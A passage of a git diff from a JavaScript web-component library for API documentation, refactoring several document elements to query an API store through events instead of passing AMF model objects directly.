@@ -514,12 +508,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   /**
    * Processes fragment model and sets current selection and the model.
    * 
-   * @param {AmfDocument} model RAML fragment model
    * @param {SelectionType} domainType The selected domain type.
    */
-  [processFragment](model, domainType) {
-    const result = this._computeEncodes(model);
-    this[renderedModelValue] = result;
+  [processFragment](domainType) {
+    this[domainIdValue] = this.documentMeta.encodesId;
     this[renderedViewValue] = domainType;
     this.requestUpdate();
   }
@@ -527,11 +519,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   /**
    * Sets the partial model to be rendered.
    * 
-   * @param {AmfDocument} model RAML partial model
    * @param {SelectionType} domainType The domain type representing the partial model.
    */
-  [processPartial](model, domainType) {
-    this[renderedModelValue] = model;
+  [processPartial](domainType) {
     this[renderedViewValue] = domainType;
     this.requestUpdate();
   }
@@ -541,10 +531,8 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * It sets models that are used by the docs.
    *
    * If `selected` or `selectedType` is not set then it automatically selects
-   * an endpoint.
-   * @param {DomainElement} model Partial model for endpoints
    */
-  [processEndpointPartial](model) {
+  [processEndpointPartial]() {
     const { tryItPanel } = this;
     let { domainType } = this;
 		if (!domainType || tryItPanel) {
@@ -553,169 +541,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     if (!['operation', 'resource'].includes(domainType)) {
       domainType = 'resource';
     }
-		this[endpointValue] = model;
-		this[renderedModelValue] = model;
 		this[renderedViewValue] = domainType;
     this.requestUpdate();
   }
 
-  /**
-   * Tests if `model` is of a RAML library model.
-   * @param {AmfDocument} model A shape to test
-   * @returns {boolean} true when the presented model is a library.
-   */
-  [isLibrary](model) {
-    if (!model) {
-      return false;
-    }
-    let doc = model;
-    if (Array.isArray(doc)) {
-      [doc] = doc;
-    }
-    if (!doc['@type']) {
-      return false;
-    }
-    const moduleKey = this._getAmfKey(this.ns.aml.vocabularies.document.Module);
-    return moduleKey === doc['@type'][0];
-  }
-
-  /**
-   * Computes model of a shape defined in `declares` list
-   * @param {AmfDocument} model AMF model
-   * @param {string} domainId Current selection
-   * @returns {any|undefined}
-   */
-  [computeDeclById](model, domainId) {
-    const declares = this._computeDeclares(model);
-		if (!declares) {
-			return undefined;
-		}
-		let selectedDeclaration = this._findById(declares, domainId)
-		if (!selectedDeclaration) {
-			const references = this._computeReferences(model);
-			if (references) {
-				const declarationsInRef = references.map((r) => this._computeDeclares(r)).flat();
-				selectedDeclaration = this._findById(declarationsInRef, domainId);
-			}
-		}
-		return selectedDeclaration;
-  }
-
-  /**
-   * Computes security scheme definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for the security scheme.
-   */
-  [computeSecurityApiModel](model, domainId) {
-    const declares = this._computeDeclares(model);
-    if (declares) {
-      const result = declares.find((item) => item['@id'] === domainId);
-      if (result) {
-        return this._resolve(result);
-      }
-    }
-    const references = this._computeReferences(model);
-    if (Array.isArray(references) && references.length) {
-      for (const reference of references) {
-        if (this._hasType(reference, this.ns.aml.vocabularies.document.Module)) {
-          const result = this[computeReferenceSecurity](reference, domainId);
-          if (result) {
-            return this._resolve(result);
-          }
-        } 
-      }
-    }
-    return undefined;
-  }
-
-  /**
-   * Computes a security model from a reference (library for example).
-   * @param {AmfDocument} reference AMF model for a reference to extract the data from
-   * @param {string} domainId Node ID to look for
-   * @returns {DomainElement|undefined} Type definition or undefined if not found.
-   */
-  [computeReferenceSecurity](reference, domainId) {
-    const declare = this._computeDeclares(reference);
-    if (!declare) {
-      return undefined;
-    }
-    let result = declare.find((item) => {
-      if (Array.isArray(item)) {
-        [item] = item;
-      }
-      return item['@id'] === domainId;
-    });
-    if (Array.isArray(result)) {
-      [result] = result;
-    }
-    return this._resolve(result);
-  }
-
-  /**
-   * Computes type definition model from web API and current selection.
-   * It looks for the definition in both `declares` and `references` properties.
-   * Returned value is already resolved AMF model (references are resolved).
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for a type.
-   */
-  [computeTypeApiModel](model, domainId) {
-    const declares = this._computeDeclares(model);
-    const references = this._computeReferences(model);
-    return this._computeType(declares, references, domainId);
-  }
-
-  /**
-   * Computes documentation definition model from web API and current selection.
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for a documentation fragment.
-   */
-  [computeDocsApiModel](model, domainId) {
-    const webApi = this._computeApi(model);
-    return this._computeDocument(webApi, domainId);
-  }
-
-  /**
-   * Computes Endpoint definition model from web API and current selection.
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined} Model definition for an endpoint fragment.
-   */
-  [computeResourceApiModel](model, domainId) {
-    const webApi = this._computeApi(model);
-    return this._computeEndpointModel(webApi, domainId);
-  }
-
-  /**
-   * Computes Method definition model from web API and current selection.
-   *
-   * @param {AmfDocument} model WebApi AMF model. Do not use an array here.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined}
-   */
-  [computeMethodApiModel](model, domainId) {
-    const webApi = this._computeApi(model);
-    return this._computeMethodModel(webApi, domainId);
-  }
-
-  /**
-   * @param {AmfDocument} model WebApi AMF model.
-   * @param {string} domainId Currently selected `@id`.
-   * @returns {DomainElement|undefined}
-   */
-  [computeEndpointApiMethodModel](model, domainId) {
-    const webApi = this._computeApi(model);
-    return this._computeMethodEndpoint(webApi, domainId);
-  }
-
   /**
    * @param {ServerCountChangeEvent} e
    */
@@ -757,14 +586,13 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     if (this.noServerSelector) {
       return '';
     }
-    const { amf, anypoint, serverType, serverValue, allowCustomBaseUri, renderSelector, domainId, domainType } = this;
+    const { anypoint, serverType, serverValue, allowCustomBaseUri, renderSelector, domainId, domainType } = this;
     const id = domainType === 'operation' ? this.operationId : domainId;
     return html`
       <api-server-selector
         class="server-selector"
-        .amf="${amf}"
-        .selectedShape="${id}"
-        .selectedShapeType="${domainType}"
+        .domainId="${id}"
+        .domainType="${domainType}"
         .value="${serverValue}"
         .type="${serverType}"
         ?hidden="${!renderSelector}"
@@ -799,20 +627,17 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    */
   [summaryTemplate]() {
     const { baseUri, anypoint } = this;
-    const model = this[renderedModelValue];
     return html`
-    <api-summary .amf="${model}" .baseUri="${baseUri}" .anypoint="${anypoint}"></api-summary>`;
+    <api-summary .baseUri="${baseUri}" .anypoint="${anypoint}"></api-summary>`;
   }
 
   /**
    * @returns {TemplateResult|string} The template for the API security definition page.
    */
   [securityTemplate]() {
-    const { amf, anypoint } = this;
-    const model = this[renderedModelValue];
+    const { domainId, anypoint } = this;
     return html`<api-security-document
-      .amf="${amf}"
-      .domainModel="${model}"
+      .domainId="${domainId}"
       .anypoint="${anypoint}"
       settingsOpened
     ></api-security-document>`;
@@ -822,11 +647,9 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the RAML's documentation page.
    */
   [documentationTemplate]() {
-    const { amf, anypoint } = this;
-    const model = this[renderedModelValue];
+    const { domainId, anypoint } = this;
     return html`<api-documentation-document
-      .amf="${amf}"
-      .domainModel="${model}"
+      .domainId="${domainId}"
       .anypoint="${anypoint}"></api-documentation-document>`;
   }
 
@@ -834,14 +657,12 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the API schema page.
    */
   [schemaTemplate]() {
-    const { amf, anypoint, schemaMime } = this;
-    const model = this[renderedModelValue];
+    const { anypoint, schemaMime, domainId } = this;
     return html`
     ${this[schemaMediaSelectorTemplate]()}
     <api-schema-document
-      .amf="${amf}"
+      .domainId="${domainId}"
       .mimeType="${schemaMime}"
-      .domainModel="${model}"
       .anypoint="${anypoint}"
       forceExamples
     ></api-schema-document>`;
@@ -851,13 +672,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the API endpoint page.
    */
   [resourceTemplate]() {
-    const { amf, domainId, operationId, isAsync } = this;
-    const model = this[renderedModelValue];
+    const { domainId, operationId, isAsync } = this;
     return html`<api-resource-document
-      .amf="${amf}"
       .domainId="${domainId}"
       .operationId="${operationId}"
-      .domainModel="${model}"
       .redirectUri="${this.redirectUri}"
       .serverType="${this.serverType}"
       .serverValue="${this.serverValue}"
@@ -878,9 +696,10 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string}
    */
   [schemaMediaSelectorTemplate]() {
+    const { documentMeta } = this;
     // only APIs have top level media types (?)
     const summary = this[apiSummaryValue];
-    if (!summary) {
+    if (!summary || !documentMeta || !documentMeta.isApi) {
       return '';
     }
     const { accepts=[] } = summary;
diff --git a/src/elements/ApiOperationDocumentElement.d.ts b/src/elements/ApiOperationDocumentElement.d.ts
index 17490bc..62766cc 100644
--- a/src/elements/ApiOperationDocumentElement.d.ts
+++ b/src/elements/ApiOperationDocumentElement.d.ts
@@ -1,9 +1,9 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
 import { ApiEndPoint, ApiServer, ApiOperation, ApiResponse, ApiCallback, ApiSecurityRequirement } from '../helpers/api';
-import { Operation } from '../helpers/amf';
 
 export const queryEndpoint: unique symbol;
+export const queryOperation: unique symbol;
 export const queryServers: unique symbol;
 export const queryResponses: unique symbol;
 export const operationValue: unique symbol;
@@ -11,6 +11,10 @@ export const endpointValue: unique symbol;
 export const serversValue: unique symbol;
 export const serverIdValue: unique symbol;
 export const urlValue: unique symbol;
+export const queryProtocols: unique symbol;
+export const protocolsValue: unique symbol;
+export const queryVersion: unique symbol;
+export const versionValue: unique symbol;
 export const responsesValue: unique symbol;
 export const computeUrlValue: unique symbol;
 export const computeParametersValue: unique symbol;
@@ -44,7 +48,6 @@ export const snippetsTemplate: unique symbol;
 export const securitySelectorTemplate: unique symbol;
 export const securitySelectionHandler: unique symbol;
 export const securityTabTemplate: unique symbol;
-export const computeOperationModel: unique symbol;
 
 /**
  * A web component that renders the documentation page for an API operation built from 
@@ -156,19 +159,34 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
   requestMimeType: string;
 
   [urlValue]: string;
-  domainModel: Operation;
   [snippetsPayloadValue]: string;
   [snippetsHeadersValue]: string;
+  /**
+   * The API's protocols.
+   */
+  get protocols(): string[]|undefined;
+  [protocolsValue]: string[]|undefined;
+
+  /**
+   * The API's version.
+   */
+  get version(): string|undefined;
+  [versionValue]: string|undefined;
+  /** 
+   * Optional. The parent endpoint id. When set it uses this value to query for the endpoint
+   * instead of querying for a parent through the operation id.
+   * Also, when `endpoint` is set and the `endpointId` match then it ignores querying for 
+   * the endpoint.
+   * @attribute
+   */
+  endpointId: string;
 
   constructor();
   processGraph(): Promise<void>;
-
   /**
-   * Computes an AMF model for the operation from the current AMF model.
-   * THe `amf` can be a partial model which has the operations list directly.
-   * @param domainId The domain id of the operation.
+   * Queries the store for the operation data.
    */
-  [computeOperationModel](domainId: string): ApiOperation|undefined;
+  [queryOperation](): Promise<void>;
 
   /**
    * Queries for the API operation's endpoint data.
@@ -180,6 +198,16 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
    */
   [queryServers](): Promise<void>;
 
+  /**
+   * Queries the API store for the API protocols list.
+   */
+  [queryProtocols](): Promise<void>;
+
+  /**
+   * Queries the API store for the API version value.
+   */
+  [queryVersion](): Promise<void>;
+
   /**
    * Queries for the responses data of the current operation.
    */
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index 48e18cb..d3af98f 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -18,10 +18,10 @@ import {
   ApiDocumentationBase, 
   paramsSectionTemplate,
   descriptionTemplate,
-  serializerValue,
   customDomainPropertiesTemplate,
   evaluateExample,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 import { joinTraitNames } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
 import { tablePropertyTemplate } from './SchemaCommonTemplates.js';
@@ -35,7 +35,6 @@ import '../../define/api-security-requirement-document.js';
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../helpers/amf').EndPoint} EndPoint */
-/** @typedef {import('../helpers/amf').Operation} Operation */
 /** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
 /** @typedef {import('../helpers/api').ApiCallback} ApiCallback */
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
@@ -46,6 +45,7 @@ import '../../define/api-security-requirement-document.js';
 /** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */
 
 export const queryEndpoint = Symbol('queryEndpoint');
+export const queryOperation = Symbol('queryOperation');
 export const queryServers = Symbol('queryServers');
 export const queryResponses = Symbol('queryResponses');
 export const operationValue = Symbol('operationValue');
@@ -53,6 +53,10 @@ export const endpointValue = Symbol('endpointValue');
 export const serversValue = Symbol('serversValue');
 export const serverIdValue = Symbol('serverIdValue');
 export const urlValue = Symbol('urlValue');
+export const queryProtocols = Symbol('queryProtocols');
+export const protocolsValue = Symbol('protocolsValue');
+export const queryVersion = Symbol('queryVersion');
+export const versionValue = Symbol('versionValue');
 export const responsesValue = Symbol('responsesValue');
 export const computeUrlValue = Symbol('computeUrlValue');
 export const computeParametersValue = Symbol('computeParametersValue');
@@ -86,7 +90,6 @@ export const snippetsTemplate = Symbol('snippetsTemplate');
 export const securitySelectorTemplate = Symbol('securitySelectorTemplate');
 export const securitySelectionHandler = Symbol('securitySelectionHandler');
 export const securityTabTemplate = Symbol('securityTabTemplate');
-export const computeOperationModel = Symbol('computeOperationModel');
 
 /**
  * A web component that renders the documentation page for an API operation built from 
@@ -228,6 +231,20 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     return this[responsesValue];
   }
 
+  /**
+   * @returns {string[]|undefined} The API's protocols.
+   */
+  get protocols() {
+    return this[protocolsValue];
+  }
+
+  /**
+   * @returns {string|undefined} The API's version.
+   */
+  get version() {
+    return this[versionValue];
+  }
+
   static get properties() {
     return {
       /**
@@ -285,6 +302,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
        * The currently rendered request panel mime type.
        */
       requestMimeType: { type: String },
+      /** 
+       * Optional. The parent endpoint id. When set it uses this value to query for the endpoint
+       * instead of querying for a parent through the operation id.
+       * Also, when `endpoint` is set and the `endpointId` match then it ignores querying for 
+       * the endpoint.
+       */
+      endpointId: { type: String },
     };
   }
 
@@ -328,8 +352,6 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     this.renderCodeSnippets = undefined;
     /** @type {boolean} */
     this.renderSecurity = undefined;
-    /** @type {Operation} */
-    this.domainModel = undefined;
     /** @type {string} */
     this.requestMimeType = undefined;
     /** @type {string} */
@@ -338,24 +360,18 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     this[snippetsHeadersValue] = undefined;
     /** @type {string} */
     this.securityId = undefined;
+    /** @type {string} */
+    this.endpointId = undefined;
   }
 
   /**
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel, domainId } = this;
-    this[operationValue] = undefined;
-    if (domainModel) {
-      this[operationValue] = this[serializerValue].operation(domainModel);
-    } else if (domainId) {
-      const model = this[computeOperationModel](domainId);
-      if (model) {
-        this[operationValue] = model;
-      }
-    }
     await this[queryEndpoint]();
+    await this[queryOperation]();
     await this[queryServers]();
+    await this[queryProtocols]();
     await this[queryResponses]();
     this[preselectResponse]();
     this[preselectSecurity]();
@@ -367,75 +383,97 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
   }
 
   /**
-   * Computes an AMF model for the operation from the current AMF model.
-   * THe `amf` can be a partial model which has the operations list directly.
-   * @param {string} domainId The domain id of the operation.
-   * @returns {ApiOperation|undefined} 
+   * Queries the store for the operation data, when needed.
+   * @returns {Promise<void>}
    */
-  [computeOperationModel](domainId) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
+  async [queryOperation]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[operationValue] = undefined;
+      return;
     }
-    const type = this[serializerValue].readTypes(amf['@type']);
-    /** @type Operation */
-    let model;
-    if (type.includes(this.ns.aml.vocabularies.apiContract.EndPoint)) {
-      // partial model for an endpoint.
-      const ops = /** @type Operation[] */ (this._computePropertyArray(amf, this.ns.aml.vocabularies.apiContract.supportedOperation));
-      model = ops.find((op) => op['@id'] === domainId);
-    } else {
-      const webApi = this._computeApi(amf);
-      model = this._computeMethodModel(webApi, domainId);
+    if (this[operationValue] && this[operationValue].id === domainId) {
+      // in case the operation model was provided via the property setter.
+      return;
     }
-    if (model) {
-      return this[serializerValue].operation(model);
+    try {
+      const endpointId = this[endpointValue] && this[endpointValue].id;
+      const info = await Events.Operation.get(this, domainId, endpointId);
+      this[operationValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API operation data: ${e.message}`, this.localName);
     }
-    return undefined;
   }
 
   /**
-   * Queries for the API operation's endpoint data.
+   * Queries the store for the endpoint data.
+   * @returns {Promise<void>}
    */
   async [queryEndpoint]() {
-    const { domainId, amf, operation } = this;
-    this[endpointValue] = undefined;
-    if (!amf) {
-      return;
-    }
-    const type = this[serializerValue].readTypes(amf['@type']);
-    if (type.includes(this.ns.aml.vocabularies.apiContract.EndPoint)) {
-      this[endpointValue] = this[serializerValue].endPoint(amf);
-      return;
-    }
-    const id = domainId || operation && operation.id;
-    if (!id) {
+    const { domainId, endpointId } = this;
+    if (!domainId) {
+      // this[endpointValue] = undefined;
       return;
     }
-    const wa = this._computeApi(amf);
-    if (!wa) {
+    if (this[endpointValue] && this[endpointValue].id === endpointId) {
+      // in case the endpoint model was provided via the property setter.
       return;
     }
-    const model = this._computeMethodEndpoint(wa, id);
-    if (!model) {
-      return;
+    this[endpointValue] = undefined;
+    try {
+      const info = await (endpointId ? Events.Endpoint.get(this, endpointId) : Events.Operation.getParent(this, domainId));
+      this[endpointValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API endpoint data: ${e.message}`, this.localName);
     }
-    this[endpointValue] = this[serializerValue].endPoint(model);
   }
 
   /**
    * Queries for the current servers value.
    */
   async [queryServers]() {
-    this[serversValue] = undefined;
     const { domainId } = this;
     const endpointId = this[endpointValue] && this[endpointValue].id;
-    const servers = this._getServers({
-      endpointId,
-      methodId: domainId,
-    });
-    if (Array.isArray(servers) && servers.length) {
-      this[serversValue] = servers.map(server => this[serializerValue].server(server));
+    try {
+      const info = await Events.Server.query(this, {
+        endpointId,
+        methodId: domainId,
+      });
+      this[serversValue] = info;
+    } catch (e) {
+      this[serversValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API servers: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries the API store for the API protocols list.
+   */
+  async [queryProtocols]() {
+    this[protocolsValue] = undefined;
+    try {
+      const info = await Events.Api.protocols(this);
+      this[protocolsValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API protocols list: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries the API store for the API version value.
+   */
+  async [queryVersion]() {
+    this[versionValue] = undefined;
+    try {
+      const info = await Events.Api.version(this);
+      this[versionValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API version value: ${e.message}`, this.localName);
     }
   }
 
@@ -509,11 +547,8 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     if (this.asyncApi) {
       return;
     }
+    const { protocols, version, server, baseUri } = this;
     const endpoint = this[endpointValue];
-    const version = this._computeApiVersion(this.amf);
-    const { baseUri, server } = this;
-    const wa = this._computeWebApi(this.amf);
-    const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
     const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, version, });
     this[urlValue] = url;
   }
@@ -858,14 +893,14 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the operation's request documentation element.
    */
   [requestTemplate]() {
-    const operation = this[operationValue];
+    const { operation } = this;
     if (!operation) {
       return '';
     }
     const { server, endpoint } = this;
     return html`
     <api-request-document 
-      .amf="${this.amf}"
+      .domainId="${operation.request && operation.request.id}" 
       .request="${operation.request}" 
       .server=${server} 
       .endpoint=${endpoint}
@@ -906,7 +941,6 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     <div class="callback-section">
       <div class="heading4 table-title">${name}</div>
       <api-operation-document 
-        .amf="${this.amf}"
         .domainId="${operation.id}"
         .operation="${operation}"
         .serverId="${this.serverId}" 
@@ -969,7 +1003,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     }
     return html`
     <api-response-document 
-      .amf="${this.amf}" 
+      .domainId="${response.id}" 
       .response="${response}" 
       headersOpened 
       payloadOpened
@@ -1007,9 +1041,8 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
    * @returns {TemplateResult} 
    */
   [securityTemplate](security) {
-    // .domainId="${security.id}" 
-    return html`<api-security-requirement-document 
-      .amf="${this.amf}" 
+    return html`<api-security-requirement-document
+      .domainId="${security.id}" 
       .securityRequirement="${security}"
       ?anypoint="${this.anypoint}"
     ></api-security-requirement-document>`
diff --git a/src/elements/ApiPayloadDocumentElement.d.ts b/src/elements/ApiPayloadDocumentElement.d.ts
index 7559b66..41d6cae 100644
--- a/src/elements/ApiPayloadDocumentElement.d.ts
+++ b/src/elements/ApiPayloadDocumentElement.d.ts
@@ -1,7 +1,6 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
 import { ApiPayload } from '../helpers/api';
-import { Payload } from '../helpers/amf';
 
 export const queryPayload: unique symbol;
 export const queryExamples: unique symbol;
@@ -15,7 +14,6 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
   get payload(): ApiPayload;
   set payload(value: ApiPayload);
   [payloadValue]: ApiPayload;
-  domainModel: Payload;
 
   constructor();
 
diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js
index 24458eb..1cba7af 100644
--- a/src/elements/ApiPayloadDocumentElement.js
+++ b/src/elements/ApiPayloadDocumentElement.js
@@ -4,16 +4,15 @@ import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiPayload.js';
 import { 
   ApiDocumentationBase,
-  serializerValue,
   evaluateExamples,
   examplesTemplate,
   examplesValue,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 import '../../define/api-schema-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
-/** @typedef {import('../helpers/amf').Payload} Payload */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../helpers/api').ApiExample} ApiExample */
 /** @typedef {import('../types').SchemaExample} SchemaExample */
@@ -56,8 +55,6 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
      * @type {ApiPayload}
      */
     this[payloadValue] = undefined;
-    /** @type Payload */
-    this.domainModel = undefined;
   }
 
   /**
@@ -65,14 +62,35 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel } = this;
-    if (domainModel) {
-      this[payloadValue] = this[serializerValue].payload(domainModel);
-    }
+    await this[queryPayload]();
     await this[processPayload]();
     await this.requestUpdate();
   }
 
+  /**
+   * Queries the store for the payload data, when needed.
+   * @returns {Promise<void>}
+   */
+  async [queryPayload]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[requestValue] = undefined;
+      return;
+    }
+    if (this[payloadValue] && this[payloadValue].id === domainId) {
+      // in case the request model was provided via the property setter.
+      return;
+    }
+    try {
+      const info = await Events.Payload.get(this, domainId);
+      this[payloadValue] = info;
+    } catch (e) {
+      this[payloadValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API payload data: ${e.message}`, this.localName);
+    }
+  }
+
   async [processPayload]() {
     this[examplesValue] = undefined;
     const { payload } = this;
@@ -141,7 +159,7 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
       return html`<div class="empty-info">Schema is not defined for this payload.</div>`;
     }
     return html`
-    <api-schema-document class="schema-renderer" .amf="${this.amf}" .schema="${schema}" .mimeType="${mediaType}" ?anypoint="${this.anypoint}" forceExamples schemaTitle></api-schema-document>
+    <api-schema-document class="schema-renderer" .schema="${schema}" .mimeType="${mediaType}" ?anypoint="${this.anypoint}" forceExamples schemaTitle></api-schema-document>
     `;
   }
 }
diff --git a/src/elements/ApiRequestDocumentElement.d.ts b/src/elements/ApiRequestDocumentElement.d.ts
index c409031..0b76348 100644
--- a/src/elements/ApiRequestDocumentElement.d.ts
+++ b/src/elements/ApiRequestDocumentElement.d.ts
@@ -1,6 +1,5 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
-import { Request } from '../helpers/amf';
 import { ApiRequest, ApiPayload, ApiServer, ApiEndPoint, ApiParameter } from '../helpers/api';
 import { OperationParameter } from '../types';
 
@@ -92,7 +91,6 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase {
   */
   endpoint: ApiEndPoint;
   [queryParametersValue]: OperationParameter[];
-  domainModel: Request;
   constructor();
   processGraph(): Promise<void>;
   [queryPayloads](): Promise<void>;
diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js
index 3e8b642..76c4f94 100644
--- a/src/elements/ApiRequestDocumentElement.js
+++ b/src/elements/ApiRequestDocumentElement.js
@@ -8,18 +8,15 @@ import {
   ApiDocumentationBase, 
   paramsSectionTemplate, 
   schemaItemTemplate,
-  // descriptionTemplate,
-  // customDomainPropertiesTemplate,
-  serializerValue,
 } from './ApiDocumentationBase.js';
 import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
+import { Events } from '../events/Events.js';
 import '../../define/api-payload-document.js';
 import '../../define/api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
-/** @typedef {import('../helpers/amf').Request} Request */
 /** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
@@ -204,8 +201,6 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase {
     this.cookiesOpened = undefined;
     /** @type {boolean} */
     this.parametersOpened = undefined;
-    /** @type {Request} */
-    this.domainModel = undefined;
     /** @type {ApiServer} */
     this.server = undefined;
     /** @type {ApiEndPoint} */
@@ -218,17 +213,38 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase {
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel } = this;
-    if (domainModel) {
-      this[requestValue] = this[serializerValue].request(domainModel);
-    }
     this.mimeType = undefined;
+    await this[queryRequest]();
     await this[queryPayloads]();
     await this[processQueryParameters]();
     this[preselectMime]();
     await this.requestUpdate();
   }
 
+  /**
+   * Queries the store for the request data, when needed.
+   * @returns {Promise<void>}
+   */
+  async [queryRequest]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[requestValue] = undefined;
+      return;
+    }
+    if (this[requestValue] && this[requestValue].id === domainId) {
+      // in case the request model was provided via the property setter.
+      return;
+    }
+    try {
+      const info = await Events.Request.get(this, domainId);
+      this[requestValue] = info;
+    } catch (e) {
+      this[requestValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API request data: ${e.message}`, this.localName);
+    }
+  }
+
   async [queryPayloads]() {
     const { request } = this;
     if (!request || !request.payloads.length) {
@@ -378,7 +394,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase {
     }
     const content = html`
     ${this[payloadSelectorTemplate]()}
-    <api-payload-document .amf="${this.amf}" .payload="${payload}" ?anypoint="${this.anypoint}"></api-payload-document>
+    <api-payload-document .domainId="${payload.id}" .payload="${payload}" ?anypoint="${this.anypoint}"></api-payload-document>
     `;
     return this[paramsSectionTemplate]('Request body', 'payloadOpened', content);
   }
diff --git a/src/elements/ApiRequestEditorElement.d.ts b/src/elements/ApiRequestEditorElement.d.ts
index 692e6bd..7e426ef 100644
--- a/src/elements/ApiRequestEditorElement.d.ts
+++ b/src/elements/ApiRequestEditorElement.d.ts
@@ -13,11 +13,8 @@ the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
-import { AmfSerializer } from '../helpers/AmfSerializer';
 import { Oauth2Credentials } from '@advanced-rest-client/app';
